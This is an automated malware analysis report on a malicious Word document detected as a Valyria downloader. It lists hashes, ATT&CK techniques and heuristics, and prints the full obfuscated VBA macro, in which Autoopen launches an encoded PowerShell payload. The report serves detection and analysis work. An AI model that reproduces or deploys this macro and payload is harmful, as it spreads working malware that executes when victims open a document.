Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 82b6104f77f1859a…

MALICIOUS

Office (OLE)

109.0 KB Created: 2018-06-11 15:00:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: 8ce106b2257add58caacb11f4bc607fb SHA-1: ccfbf3fbcebaf1e22fbc7d1a619513e97a43d749 SHA-256: 82b6104f77f1859a705edf465bb1b507d869a83f3f75cdead64e0765153d2b1e
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro with an Autoopen subroutine. This macro utilizes the Shell() function to execute a command, likely for downloading and executing a second-stage payload. The ClamAV detection name 'Doc.Downloader.Valyria-6595163-0' further supports its role as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    jNCOw = hLzbK
idABiDi = oFqHAHbXS + Shell(MtniSawpauv + Chr(SLVjIFuf + vbKeyP + FLqEmW) + "owers" + sLMDBWsAt + kNiSTMjU + bPDRPCHCDHE + oSnsHHRV + noXtpi, 83444 - 83444)
hAVjH = CLng(12105 * CSng(bDswj + ChrB(XWJWf + CInt(24175))))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10701 bytes
SHA-256: 9074a4a4f2dbb426943070cc34c38fbd567bc9c3b9242be8a744b227d9162558
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "djzcjasQD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function idABiDi()
On Error Resume Next
zWJSU = CLng(59606 * CSng(NuQfM + ChrB(JcNawH + CInt(93657))))
ZdDMl = Int(whFMYY)
TstLaj = dKEXfS
iFCHo = GYtGFj
QfpEHn = pjUPV
EbPYfh = jRcDE
ibvzmF = CLng(83390 * CSng(bwUAQr + ChrB(Xuknm + CInt(25305))))
iIVaXQ = Int(wClzX)
dukhJ = jccuYP
FIWrQS = nwmiM
aodwjA = hjdKDd
jNCOw = hLzbK
idABiDi = oFqHAHbXS + Shell(MtniSawpauv + Chr(SLVjIFuf + vbKeyP + FLqEmW) + "owers" + sLMDBWsAt + kNiSTMjU + bPDRPCHCDHE + oSnsHHRV + noXtpi, 83444 - 83444)
hAVjH = CLng(12105 * CSng(bDswj + ChrB(XWJWf + CInt(24175))))
mKqauX = Int(BAPqCm)
TrLCV = iBEoO
CYoYo = OViWK
mjYTbo = wuzEf
UJIFkG = LYVIN
End Function
Sub Autoopen()
On Error Resume Next
aYnQiw = CLng(63703 * CSng(PlfOa + ChrB(mRbEU + CInt(17197))))
UIGQzQ = Int(jOOPG)
NdJiTH = jEYdrK
PtwQoE = GPjzj
YjBWPI = DJIzlM
uQkdY = atpSwb
idABiDi
wGNci = CLng(73219 * CSng(ZADBNi + ChrB(mFlwib + CInt(87278))))
qiDat = Int(iqiYn)
cwwfT = lluNjP
DooDTT = IrQiZ
sWvJU = acHpJG
iqIMdv = kqQqnO
End Sub


Attribute VB_Name = "nzkjNGQ"
Function sLMDBWsAt()
On Error Resume Next
khvfj = CLng(113 * CSng(jjHGFc + ChrB(OfOPE + CInt(88014))))
kqhUO = Int(zWBoML)
TwjuW = zZKvZQ
CoaIVt = MzrOK
BkKfT = uXkQvU
WujauH = mvJvt
wjJjiv = "HeLL -e" + " IAAuACAAK" + "AAgACQAZQBu" + "AF" + "YAOgBDAE8ATQBz"
SzsUG = CLng(39453 * CSng(EjPPfb + ChrB(WESXio + CInt(54757))))
SjYwG = Int(fFaOl)
auiQK = kopiRv
ciidm = EqvjM
JNiYap = taEbZ
NDDni = OddiXz
rHsJO = "AHAARQBjAF" + "sANAA" + "sADEANQAsADIA" + "NQBdAC0A" + "agBvAGkAbgAnA" + "CcAKQAgACgAbgBF" + "AH" + "cALQBvAEIASgBFA" + "EMAdAAgACA" + "AaQBPAC4AYw"
owhLfO = CLng(33930 * CSng(ANGQO + ChrB(PCtXHI + CInt(51599))))
NACNt = Int(SjiHbw)
ELPZN = hMpzX
wzajH = oBPjj
SUTCT = zoQoLq
wuAtLY = itvwr
wLDAWhndL = "BPAG0" + "AcAByAGUAcwBzA" + "EkAbw" + "Bu"
brnwlV = CLng(59611 * CSng(Hsoft + ChrB(wjDJn + CInt(69429))))
IVnID = Int(diYZU)
WDHBU = qLXrC
NSNEv = mLHqSW
nhKBcj = TVWHr
iFzYiR = bvlwZ
zFzPRwAtpsm = "AC4AZAB" + "lAEYATABhA" + "FQARQBzAFQAc" + "gBFAG" + "EAbQAoACA" + "AWwBzAHkAcwB"
hnJCfk = CLng(70848 * CSng(hWfKu + ChrB(itrvG + CInt(24919))))
IhNjI = Int(DYrvN)
uBjJSq = GfBiR
nJjiD = qMUZGv
Xjhip = RjAGCj
FjGiG = wVUqTp
UFLrHpZMaA = "0AE" + "UA" + "TQAuAE" + "kATwAu" + "AG0ARQBNAG8AU" + "gBZAHMAdABS" + "AGUAYQBN"
GXOacZ = CLng(26473 * CSng(TnZBMH + ChrB(imDjwf + CInt(69342))))
GlSHz = Int(CsNoCU)
UaddVZ = whhuqw
inmrIW = IoJSN
QuLNK = FKMZDd
zKYDY = DHUFa
CWGTbYPJ = "AF0AWwBjAE8" + "AbgB2AGUA" + "cgB0AF0" + "AOg" + "A6AGYAUgB" + "vAE0AYgBBAFMA" + "RQA2AD" + "QAUwBUAFIAa" + "QBuAEcAKAAgA"
tziMlT = CLng(20221 * CSng(XVCVU + ChrB(DqjWNi + CInt(26376))))
YEjll = Int(Ktwok)
Qpawa = tVicI
inNMb = ssjrZa
AiIzdY = kEUNQ
vHpsTv = jCzozR
sPChrDYd = "CcAV" + "gBWAEIAaAB" + "TADgATQ" + "B3AEYA" + "UAB" + "3A" + "HI" + "AKwBWAEQAbw" + "BoAGkAN"
sLMDBWsAt = wjJjiv + rHsJO + wLDAWhndL + zFzPRwAtpsm + UFLrHpZMaA + CWGTbYPJ + sPChrDYd
End Function
Function kNiSTMjU()
On Error Resume Next
wsjYQA = CLng(42106 * CSng(XkYED + ChrB(SiTzwu + CInt(3884))))
CrXddv = Int(kUzMaR)
YvzQLW = ETPsBO
doBXw = ppBnW
cmQYs = daGYCf
fAwXIl = hZHfwo
JWwWiZLB = "QB4AE8AawBWA" + "FgAQgBKADEAT" + "wB" + "jAEc" + "Aeg" + "BWAFcAVgBFA" + "FUAbwBh" + "AFQ"
FCiuKu = CLng(72790 * CSng(znvXOY + ChrB(SEmVpQ + CInt(23251))))
RtBtsD = Int(lZEzXX)
irlwm = KckWE
GCscwN = KRAIAt
SCVTOA = uaukt
JhpIfp = wctwFm
vizsmsUXb = "AeABiA" + "GMAMgBXAEoAaQ" + "BWADUAMgB" + "zADIAeAAvADIAN" + "ABzADMAYw"
NGdjkC = CLng(91784 * CSng(IGRHDd + ChrB(czsFi + CInt(68463))))
bsdLvu = Int(JYNcVC)
wLAqiZ = jqXlV
AvEzDv = ilFZHB
whEfha = jmrPA
EsCGZ = JoOTNY
poozOpvZGM = "BBAHYARAA5" + "ADYA" + "NwB1ADMA" + "ZgBIAEI" + "AWgBQAFI"
TJLFbi = CLng(63501 * CSng(aBmrDu + ChrB(UINkD + CInt(70937))))
mizzhr = Int(kOqGH)
NUhQj = firQO
fwUFG = VpoXcF
BpYpnv = wnzzbz
jFzvS = iBulfH
EKJdNcRJimj = "ASgBM" + "ADQAbQBsAD" + "AAUgBEADEAV" + "ABI"
lRSqs = CLng(52900 * CSng(fiHpEU + ChrB(YszVdI + CInt(46652))))
kocKUz = Int(umJfhz)
VIHAJZ = wKqzI
JwQCw = zjdOiH
fjUfYm = tXpNdz
fmilMM = pzWHjs
bPHVJcfJiua = "AFoAQQBnAFEAUw" + "B5AC8A" + "VwBuAEsAYQB" + "MAGcAVw" + "BmA" + "HkATQBZAHYAVQ"
wruYs = CLng(35310 * CSng(WdiRLi + ChrB(mHCZz + CInt(81844))))
uzcVv = Int(qlwYsu)
vfvokh = JIzTA
fDqThj = jEsRD
TDkfGZ = BRHLN
SlKlzJ = OSnui
CbicQz = "BmAFM" + "AOQBZAE8Ab" + "wB" + "hA" + "EEAeABJAEgA" + "MgBGADcARQBaAEo" + "AM" + "ABCAGcARgBzACs" + "AdwBuAGs" + "AWQArAGUA"
Lswqnd = CLng(72810 * CSng(NCYdtu + ChrB(fOviFs + CInt(28787))))
WSsIi = Int(AQqAPN)
FaTib = EilIG
liErQ = zwbZY
VDCNmi = ijKaob
dpKhlJ = swBwYZ
tNlPhK = "RwBlAGEA" + "SQBaAFoAKwB4" + "AGcAaQBQAG0" + "AVQBHAF" + "gAYwBLAG" + "wAaABUAFk" + "AUQ" + "BwAG0AegBzAGYA"
RQwfBZ = CLng(23777 * CSng(zqwCj + ChrB(ibHPPT + CInt(91543))))
ltoPH = Int(HBQNIA)
PMvnC = FqTlic
KUthJ = fJfEq
RjQwaj = fPTPMb
jqRSI = mzSmH
usUJwrwFN = "dgArAHAANQ" + "Bk" + "AE4AU" + "QBRADAASgBZAE"
kNiSTMjU = JWwWiZLB + vizsmsUXb + poozOpvZGM + EKJdNcRJimj + bPHVJcfJiua + CbicQz + tNlPhK + usUJwrwFN
End Function
Function bPDRPCHCDHE()
On Error Resume Next
ECUCkH = CLng(8204 * CSng(kAost + ChrB(owvrF + CInt(64120))))
wXpsN = Int(kzURiq)
fsKMiI = ZciBZ
GRpCb = aiHifK
KTCQj = CDWwm
IzZfTp = SopSJS
OHXMz = "sAMQBuAE4Abw" + "B2AE4AaABx" + "ADcANQBmAFIA" + "aQB" + "EAHkAMQBuAF"
zPMXNf = CLng(4447 * CSng(zoXMw + ChrB(XVkVDT + CInt(35524))))
Bwnpqs = Int(VAtztN)
rwiGfz = kIHqz
TFzFwX = ONjYp
cbodO = dliln
nViQqj = szOPDn
vBTuscrjKl = "MAcwA2AGcAR" + "gBuAEYAWABhAHM" + "AQgBVADEARAB" + "iAE0AMQB" + "kADUAcABCAF" + "IAbgByAHA" + "AVQBmAHAA" + "eQBkAEYASgA5AD" + "QASwA5AGwAT" + "wBWADAAcwBOA"
VzYdPK = CLng(32782 * CSng(UYwis + ChrB(UJpUJI + CInt(20880))))
fzXDY = Int(NNMkqQ)
iMAVdj = AKUMn
YnZut = nSUbGL
UIHLLn = zpzpwj
sCUcKQ = XaoSr
pwVNaHwzaZi = "GYATwArAF" + "oAdwB" + "qADUAUQBYA" + "DcARwBxAGg" + "ANABm" + "ADMAVgBjAGMAUwB" + "1ADEAcgBIADgA" + "TwBDADQAeQBIAFo" + "AeQB5AGsA"
cRKlu = CLng(19600 * CSng(LJtwJY + ChrB(Pjpkv + CInt(24669))))
vQzwv = Int(bwiStU)
AifLuo = QiIWTm
uokEW = IhAKnw
QObaE = wKjDdp
XmMHd = IpjHzO
kYtQwvaHP = "UwBhAGsAawB0AH" + "MASwB" + "yAHMAQgAwA" + "EYAVQAx" + "AGYA" + "RgA5AHoANQAv" + "AFUATgBkAEIA"
pTThU = CLng(47846 * CSng(ZYBGiR + ChrB(qvOkGO + CInt(29318))))
WUshI = Int(ZkHdMh)
drzjEt = zkFZMA
uSXrz = iwwom
GAoud = kiNDP
BViGm = TVHWi
aMatja = "TgB" + "hAHkAdwAxA" + "FQAMABr" + "AHgAOQAzAGUAYw" + "BlAC8AV" + "QA0AH" + "cAOQB2AEwA" + "MAAvA" + "FYANABv" + "AD"
jmMYQ = CLng(62638 * CSng(KwonjL + ChrB(cDbVFq + CInt(5489))))
piabK = Int(VRJjWV)
qJLNj = EENiB
wmPtlR = POziwo
JpfiD = pfmuP
ZfwRb = YjNzFY
KBzWrirV = "gAQQArAHIAdg" + "B2" + "AFUANQBUAGsA" + "ZwBJ" + "AFEA" + "ZgBvAFoAK" + "wBOADEAcQA4A" + "FUAVgBoAEIAR" + "wBNADIATwB"
bPDRPCHCDHE = OHXMz + vBTuscrjKl + pwVNaHwzaZi + kYtQwvaHP + aMatja + KBzWrirV
End Function
Function oSnsHHRV()
On Error Resume Next
SiGws = CLng(52554 * CSng(ZKCPZ + ChrB(irFQzV + CInt(56944))))
rIRwVm = Int(IILjH)
lbiit = CiPdi
tRhawz = utaapz
onQBq = SasPXi
Cbvci = EcVsiL
jZFMhlWjp = "CAGkANwB3AF" + "YA" + "RABPADYA" + "UwBoAGIAdwBsAFU" + "AcABPAG0AbgAv"
wMOLB = CLng(86988 * CSng(WiOSNn + ChrB(ZSYSD + CInt(28673))))
iTzwvH = Int(uTviqc)
FMhNdw = YMdOrj
JwaiwX = tQNGm
bKSjXL = TFrEZ
HJGUj = aPkWV
MZXttFMilnH = "AFkARwA3AFgAcg" + "BUADEARQBw" + "AHYA" + "VABh"
tERMw = CLng(38612 * CSng(rKHNt + ChrB(rjMLEF + CInt(41858))))
jPGmv = Int(CLYrnz)
dGCHJX = hFzvNb
XOEjRz = NpLaAq
jlQaw = NaKEu
YYbPLZ = lizUK
ETcOjamqi = "AFcAVgA" + "0AF" + "oAOQAzAF" + "UAcwBHAE8" + "AVABKADkATgB" + "nAGoANwBwAHYATg" + "BVACsASg" + "BJADEAcABPADAA" + "cQBRAFcA"
ziQQr = CLng(63560 * CSng(jsBTj + ChrB(QOizE + CInt(99365))))
kbamZA = Int(jFaiR)
EzizJ = XlAjW
jpIFG = tVYlWI
qrjcbS = CcQRj
olczju = itKsa
JwVpmk = "KwB3ADgAVwBpA" + "FAAQQB1" + "AGQAM" + "AA1AHkAcgB" + "6AE4AT" + "QB0A" + "G8ASw"
spwhTc = CLng(43329 * CSng(SbrJY + ChrB(EFDZq + CInt(41855))))
tHsYC = Int(EzzjnB)
ZcGvzo = OVJlq
jzZpl = FZziD
QBRSU = DHvobw
bCIKX = HirvFa
ijXclwnwt = "BqAGk" + "ATABmAFYARgBZ" + "AGkAZ" + "ABIAEw" + "AagBrAEEAUQ" + "BwAEgAYQA0AE" + "UAbABDAGkATgB"
vmwDa = CLng(90042 * CSng(mjnvw + ChrB(PhiOr + CInt(46439))))
hJzwPc = Int(vaYGMs)
wQLsO = vWuOMO
iZzdD = zamnzo
KHLHhj = nQRXW
rfLOkj = FBWbv
zjCEbUOKVu = "wAGgATwB2A" + "DQASABPAE" + "kAd" + "AB0AHQAZgAn" + "ACkAIAAsACA" + "AWwBJAG8AL"
itmMd = CLng(22917 * CSng(QVoKm + ChrB(dKiRIb + CInt(12623))))
pUPXCP = Int(sIkjLi)
KBDnL = MVqAc
GqXjN = pcpZXp
wRYNDb = DZAjOV
nOTdP = zJwUYW
vQMwAWLjB = "gBDAG8AbQB" + "wAHIAZQBTAFMASQ" + "BvAG4ALgBDAE8" + "AbQ" + "BQAFIAR" + "QBzAHMAaQBPAG" + "4ATQB" + "vAEQARQBd" + "ADoA" + "OgBkAG"
WBPkiO = CLng(23089 * CSng(BnInZ + ChrB(AjqqV + CInt(86265))))
BOVwIu = Int(mUDojr)
BJPCz = AmaKp
uzcFiC = AVntoW
kdjkU = hwwXa
WjiPoK = SAcJP
mwcwt = "UAQwBPAE0AUAB" + "yAEUAcwBTACk" + "AfAAg" + "AE" + "YATwBSAGUAQQBjA" + "GgALQBP" + "AEIAag"
lDriN = CLng(31325 * CSng(jfZXFp + ChrB(jIzAFf + CInt(81815))))
uRFzii = Int(THTRL)
DqNlGz = qKKJw
WKDcD = iEIadO
scMRDn = HjRjOw
iqjGvA = MtQiQ
YJQSlLQOh = "Bl" + "AEMAdAB7ACA" + "AbgBF" + "AHcALQBvAEIA" + "SgBFAEMAdA" + "AgA" + "CAASQBP" + "AC4AUwB0AFIAZ"
oSnsHHRV = jZFMhlWjp + MZXttFMilnH + ETcOjamqi + JwVpmk + ijXclwnwt + zjCEbUOKVu + vQMwAWLjB + mwcwt + YJQSlLQOh
End Function
Function noXtpi()
On Error Resume Next
ciuQkX = CLng(48588 * CSng(fisGW + ChrB(NpsTN + CInt(8929))))
zNZTh = Int(Tfivn)
FBcmBw = ZXDMqz
jAWBw = LddQU
DJFcwi = TQSlD
VVijvB = THhSJh
ECwKTzpWmLc = "QBBAE0Acg" + "BlAEEAZABFA" + "HIAKA" + "AgACQAXwAsAFsA"
WbcYLR = CLng(9873 * CSng(iTvHil + ChrB(JNPSLa + CInt(90333))))
whPmcw = Int(nSPijr)
uamlan = loXzn
UDqVYb = jqvfcw
jcsvC = VSpjaz
VKtsp = zHjbtK
KmzuLoG = "dABFAFgAVAAuAEU" + "AbgBDAE8AZ" + "ABpAE" + "4AZwBdADoAOgB" + "BAHMAQ"
wHEiH = CLng(17337 * CSng(jiIwbu + ChrB(cBOKvY + CInt(38160))))
VzDpm = Int(zzBwk)
sOOKYR = brBzQ
rVFVQz = nWmHbR
bhhHz = zFOnDl
AsiTzm = vftckB
ivhsJtXtrM = "wBpAGkAIAApAH0" + "AIAB8ACAARgBP" + "AFIARQBBA" + "EMAa" + "AAtA" + "E8AYgBKAG" + "UAYwB0AHsAIAAkA" + "F8ALgByAEUA" + "YQ" + "BEAFQAbw"
HWcHjH = CLng(89774 * CSng(tKuzZu + ChrB(GRRiSk + CInt(90260))))
SHpWav = Int(EXvrsi)
jUikEw = ZzMAJ
cLFiO = jJAul
AGFXE = BCUlwA
jwPtHc = QWLtR
FzlWub = "BlAG4ARA" + "AoACkAfQAg" + "ACkAIAA="
noXtpi = ECwKTzpWmLc + KmzuLoG + ivhsJtXtrM + FzlWub
End Function

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